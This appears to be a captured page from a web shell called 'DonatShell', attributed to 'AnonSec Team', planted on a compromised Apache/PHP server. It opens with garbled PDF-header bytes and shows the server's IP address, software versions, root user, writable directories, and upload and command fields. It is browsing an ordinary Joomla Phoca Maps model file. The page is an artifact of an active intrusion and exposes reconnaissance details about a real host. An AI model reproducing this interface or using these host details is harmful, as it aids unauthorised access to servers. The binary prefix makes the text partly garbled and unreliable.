%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11585/cwd/html/old/components/com_phocamaps/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11585/cwd/html/old/components/com_phocamaps/models/map.php
<?php
/*
 * @package Joomla 3.8
 * @copyright Copyright (C) 2005 Open Source Matters. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 *
 * @component Phoca Gallery
 * @copyright Copyright (C) Jan Pavelka www.phoca.cz
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
 */

// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die();

jimport('joomla.application.component.model');

class PhocaMapsModelMap extends JModelLegacy
{
	var $_id			= null;
	var $_data			= null;

	function __construct() {
		parent::__construct();
		$app				= JFactory::getApplication();
		$this->setState('filter.language',$app->getLanguageFilter());
		$id 	= $app->input->get('id', 0, 'int');
		$this->setId((int)$id);
	}
	
	function setId($id){
		$this->_id			= $id;
		$this->_data		= null;
	}
	
	
	function &getData() {
		if (!$this->_loadData()) {
			$this->_initData();
		}
		return $this->_data;
	}
	
	function _loadData() {
		if (empty($this->_data)) {
		
			// Map
			$where 		= array();
			$where[]	= 'a.id = '.(int) $this->_id;
			//$where[]	= 'a.published = 1';
			// Filter by language
			if ($this->getState('filter.language')) {
				$where[] =  'a.language IN ('.$this->_db->Quote(JFactory::getLanguage()->getTag()).','.$this->_db->Quote('*').')';
			}
			$where		= (count($where) ? ' WHERE '. implode(' AND ', $where) : '');
			$query = 'SELECT a.*'
					.' FROM #__phocamaps_map AS a'
					.' ' . $where;
			$this->_db->setQuery($query);
			$this->_data['map'] = $this->_db->loadObject();
			
			// Marker
			$where 		= array();
			$where[]	= 'c.id = '.(int) $this->_id;
			$where[]	= 'a.published = 1';
			
			if ($this->getState('filter.language')) {
				$where[] =  'a.language IN ('.$this->_db->Quote(JFactory::getLanguage()->getTag()).','.$this->_db->Quote('*').')';
			}
			$where		= (count($where) ? ' WHERE '. implode(' AND ', $where) : '');
			
			$query = 'SELECT a.*, i.id as iconid, i.url as iurl, i.urls as iurls, i.object as iobject, i.objects as iobjects, i.objectshape as iobjectshape'
					.' FROM #__phocamaps_marker AS a'
					.' LEFT JOIN #__phocamaps_map AS c ON c.id = a.catid '
					.' LEFT JOIN #__phocamaps_icon AS i ON i.id = a.iconext '
					.' ' . $where
					.' ORDER BY a.ordering ASC';
			$this->_db->setQuery($query);
			$this->_data['marker'] = $this->_db->loadObjectList();
			
			return (boolean) $this->_data;
		}
		
		return true;
	}
	
	
	function _initData() {
		if (empty($this->_data)) {
			$this->_data	= '';
			return (boolean) $this->_data;
		}
		return true;
	}
}
?>

Anon7 - 2022
AnonSec Team